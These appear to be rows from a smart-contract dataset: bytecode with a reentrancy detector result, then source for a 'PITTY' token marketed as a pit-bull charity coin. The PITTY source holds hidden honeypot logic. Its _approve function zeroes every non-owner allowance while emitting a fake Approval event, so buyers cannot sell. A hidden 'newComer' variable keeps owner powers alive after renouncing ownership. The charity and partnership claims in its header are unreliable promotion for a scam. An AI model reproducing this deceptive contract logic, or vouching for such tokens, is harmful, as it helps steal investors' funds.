ffffffffff1681565b6000670de0b6b3a7640000905090565b60006108ce8484846115f1565b61098f846108da61141e565b61098a856040518060600160405280602881526020016139c960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094061141e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de19092919063ffffffff16565b611426565b600190509392505050565b6109a261141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690613108565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab9906130c8565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5a61141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90613108565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4a61141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce90613108565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d3561141e565b73ffffffffffffffffffffffffffffffffffffffff1614610d5557600080fd5b6000479050610d6381611e45565b50565b6000610db0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb1565b9050919050565b610dbf61141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4390613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f1261141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9690613108565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe061141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106490613108565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f534841524b000000000000000000000000000000000000000000000000000000815250905090565b6110d561141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990613108565b60405180910390fd5b8060188190555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ad61141e565b73ffffffffffffffffffffffffffffffffffffffff16146111cd57600080fd5b6002841080156111dd5750600283105b80156111e95750600a82105b80156111f55750600a81105b6111fe57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061123461122d61141e565b84846115f1565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf61141e565b73ffffffffffffffffffffffffffffffffffffffff16146112df57600080fd5b60006112ea30610d66565b90506112f581611f1f565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61138761141e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140b90613108565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90613188565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90613068565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e491906131a8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165890613148565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c890612fe8565b60405180910390fd5b60008111611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b90613128565b60405180910390fd5b61171c610faf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178a575061175a610faf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae057601560149054906101000a900460ff1661183057601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613008565b60405180910390fd5b5b601654811115611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c90613048565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119195750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194f90613088565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a0557601754816119ba84610d66565b6119c491906132de565b10611a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fb90613168565b60405180910390fd5b5b6000611a1030610d66565b9050600060185482101590506016548210611a2b5760165491505b808015611a43575060158054906101000a900460ff16155b8015611a9d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab55750601560169054906101000a900460ff165b15611add57611ac382611f1f565b60004790506000811115611adb57611ada47611e45565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c3a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c395750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c485760009050611dcf565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cf35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d0b57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611db65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dce57600a54600c81905550600b54600d819055505b5b611ddb84848484612217565b50505050565b6000838311158290611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e209190612fc6565b60405180910390fd5b5060008385611e3891906133bf565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ead573d6000803e3d6000fd5b5050565b6000600654821115611ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eef90613028565b60405180910390fd5b6000611f02612244565b9050611f17818461226f90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f7c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611faa5781602001602082028036833780820191505090505b5090503081600081518110611fe8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208a57600080fd5b505afa15801561209e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c29190612a51565b816001815181106120fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611426565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c79594939291906131c3565b600060405180830381600087803b1580156121e157600080fd5b505af11580156121f5573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b80612225576122246122b9565b5b6122308484846122fc565b8061223e5761223d6124c7565b5b50505050565b60008060006122516124db565b91509150612268818361226f90919063ffffffff16565b9250505090565b60006122b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061253a565b905092915050565b6000600c541480156122cd57506000600d54145b156122d7576122fa565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061230e8761259d565b95509550955095509550955061236c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061244d816126ad565b612457848361276a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b491906131a8565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a7640000905061250f670de0b6b3a764000060065461226f90919063ffffffff16565b82101561252d57600654670de0b6b3a7640000935093505050612536565b81819350935050505b9091565b60008083118290612581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125789190612fc6565b60405180910390fd5b50600083856125909190613334565b9050809150509392505050565b60008060008060008060008060006125ba8a600c54600d546127a4565b92509250925060006125ca612244565b905060008060006125dd8e87878761283a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061264783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de1565b905092915050565b600080828461265e91906132de565b9050838110156126a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269a906130a8565b60405180910390fd5b8091505092915050565b60006126b7612244565b905060006126ce82846128c390919063ffffffff16565b905061272281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61277f8260065461260590919063ffffffff16565b60068190555061279a8160075461264f90919063ffffffff16565b6007819055505050565b6000806000806127d060646127c2888a6128c390919063ffffffff16565b61226f90919063ffffffff16565b905060006127fa60646127ec888b6128c390919063ffffffff16565b61226f90919063ffffffff16565b9050600061282382612815858c61260590919063ffffffff16565b61260590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061285385896128c390919063ffffffff16565b9050600061286a86896128c390919063ffffffff16565b9050600061288187896128c390919063ffffffff16565b905060006128aa8261289c858761260590919063ffffffff16565b61260590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128d65760009050612938565b600082846128e49190613365565b90508284826128f39190613334565b14612933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292a906130e8565b60405180910390fd5b809150505b92915050565b600061295161294c8461325d565b613238565b9050808382526020820190508285602086028201111561297057600080fd5b60005b858110156129a0578161298688826129aa565b845260208401935060208301925050600181019050612973565b5050509392505050565b6000813590506129b981613983565b92915050565b6000815190506129ce81613983565b92915050565b600082601f8301126129e557600080fd5b81356129f584826020860161293e565b91505092915050565b600081359050612a0d8161399a565b92915050565b600081359050612a22816139b1565b92915050565b600060208284031215612a3a57600080fd5b6000612a48848285016129aa565b91505092915050565b600060208284031215612a6357600080fd5b6000612a71848285016129bf565b91505092915050565b60008060408385031215612a8d57600080fd5b6000612a9b858286016129aa565b9250506020612aac858286016129aa565b9150509250929050565b600080600060608486031215612acb57600080fd5b6000612ad9868287016129aa565b9350506020612aea868287016129aa565b9250506040612afb86828701612a13565b9150509250925092565b60008060408385031215612b1857600080fd5b6000612b26858286016129aa565b9250506020612b37858286016129fe565b9150509250929050565b60008060408385031215612b5457600080fd5b6000612b62858286016129aa565b9250506020612b7385828601612a13565b9150509250929050565b600060208284031215612b8f57600080fd5b600082013567ffffffffffffffff811115612ba957600080fd5b612bb5848285016129d4565b91505092915050565b600060208284031215612bd057600080fd5b6000612bde848285016129fe565b91505092915050565b600060208284031215612bf957600080fd5b6000612c0784828501612a13565b91505092915050565b60008060008060808587031215612c2657600080fd5b6000612c3487828801612a13565b9450506020612c4587828801612a13565b9350506040612c5687828801612a13565b9250506060612c6787828801612a13565b91505092959194509250565b6000612c7f8383612c8b565b60208301905092915050565b612c94816133f3565b82525050565b612ca3816133f3565b82525050565b6000612cb482613299565b612cbe81856132bc565b9350612cc983613289565b8060005b83811015612cfa578151612ce18882612c73565b9750612cec836132af565b925050600181019050612ccd565b5085935050505092915050565b612d1081613405565b82525050565b612d1f81613448565b82525050565b612d2e8161346c565b82525050565b6000612d3f826132a4565b612d4981856132cd565b9350612d5981856020860161347e565b612d62816135b8565b840191505092915050565b6000612d7a6023836132cd565b9150612d85826135c9565b604082019050919050565b6000612d9d603f836132cd565b9150612da882613618565b604082019050919050565b6000612dc0602a836132cd565b9150612dcb82613667565b604082019050919050565b6000612de3601c836132cd565b9150612dee826136b6565b602082019050919050565b6000612e066022836132cd565b9150612e11826136df565b604082019050919050565b6000612e296023836132cd565b9150612e348261372e565b604082019050919050565b6000612e4c601b836132cd565b9150612e578261377d565b602082019050919050565b6000612e6f6017836132cd565b9150612e7a826137a6565b602082019050919050565b6000612e926021836132cd565b9150612e9d826137cf565b604082019050919050565b6000612eb56020836132cd565b9150612ec08261381e565b602082019050919050565b6000612ed86029836132cd565b9150612ee382613847565b604082019050919050565b6000612efb6025836132cd565b9150612f0682613896565b604082019050919050565b6000612f1e6023836132cd565b9150612f29826138e5565b604082019050919050565b6000612f416024836132cd565b9150612f4c82613934565b604082019050919050565b612f6081613431565b82525050565b612f6f8161343b565b82525050565b6000602082019050612f8a6000830184612c9a565b92915050565b6000602082019050612fa56000830184612d07565b92915050565b6000602082019050612fc06000830184612d16565b92915050565b60006020820190508181036000830152612fe08184612d34565b905092915050565b6000602082019050818103600083015261300181612d6d565b9050919050565b6000602082019050818103600083015261302181612d90565b9050919050565b6000602082019050818103600083015261304181612db3565b9050919050565b6000602082019050818103600083015261306181612dd6565b9050919050565b6000602082019050818103600083015261308181612df9565b9050919050565b600060208201905081810360008301526130a181612e1c565b9050919050565b600060208201905081810360008301526130c181612e3f565b9050919050565b600060208201905081810360008301526130e181612e62565b9050919050565b6000602082019050818103600083015261310181612e85565b9050919050565b6000602082019050818103600083015261312181612ea8565b9050919050565b6000602082019050818103600083015261314181612ecb565b9050919050565b6000602082019050818103600083015261316181612eee565b9050919050565b6000602082019050818103600083015261318181612f11565b9050919050565b600060208201905081810360008301526131a181612f34565b9050919050565b60006020820190506131bd6000830184612f57565b92915050565b600060a0820190506131d86000830188612f57565b6131e56020830187612d25565b81810360408301526131f78186612ca9565b90506132066060830185612c9a565b6132136080830184612f57565b9695505050505050565b60006020820190506132326000830184612f66565b92915050565b6000613242613253565b905061324e82826134b1565b919050565b6000604051905090565b600067ffffffffffffffff82111561327857613277613589565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132e982613431565b91506132f483613431565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133295761332861352b565b5b828201905092915050565b600061333f82613431565b915061334a83613431565b92508261335a5761335961355a565b5b828204905092915050565b600061337082613431565b915061337b83613431565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133b4576133b361352b565b5b828202905092915050565b60006133ca82613431565b91506133d583613431565b9250828210156133e8576133e761352b565b5b828203905092915050565b60006133fe82613411565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134538261345a565b9050919050565b600061346582613411565b9050919050565b600061347782613431565b9050919050565b60005b8381101561349c578082015181840152602081019050613481565b838111156134ab576000848401525b50505050565b6134ba826135b8565b810181811067ffffffffffffffff821117156134d9576134d8613589565b5b80604052505050565b60006134ed82613431565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135205761351f61352b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61398c816133f3565b811461399757600080fd5b50565b6139a381613405565b81146139ae57600080fd5b50565b6139ba81613431565b81146139c557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3d13da0a374d9622d706a9dbc139b1f80951262a0808c5de73e2ec5bd334a2764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,790
0x3b843f22951c0954891861f4c4ed2f38f5a439c2
/** *Submitted for verification at Etherscan.io on 2021-11-20 */ /* 🐶 $PITTY COIN🐶 ✅NFTs are complete ✅NFT Launch In December 🤝Major partnership already paid for with the largest pit bull magazine. 🚀Fair Launch 🧾PRESALE ✅10% tax ✅5% direct to a pit bull charity wallet ✅3% marketing ✅2% dev Presale value will be .75 of starting liquidity ✅5% MAX WALLET ✅ 5% Max Buy first HR 💻📲Website: pittynft.com TELEGRAM: https://t.me/PittyErc20 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract PITTY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**12* 10**18; string private _name = ' Pitty '; string private _symbol = 'PITTY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1681526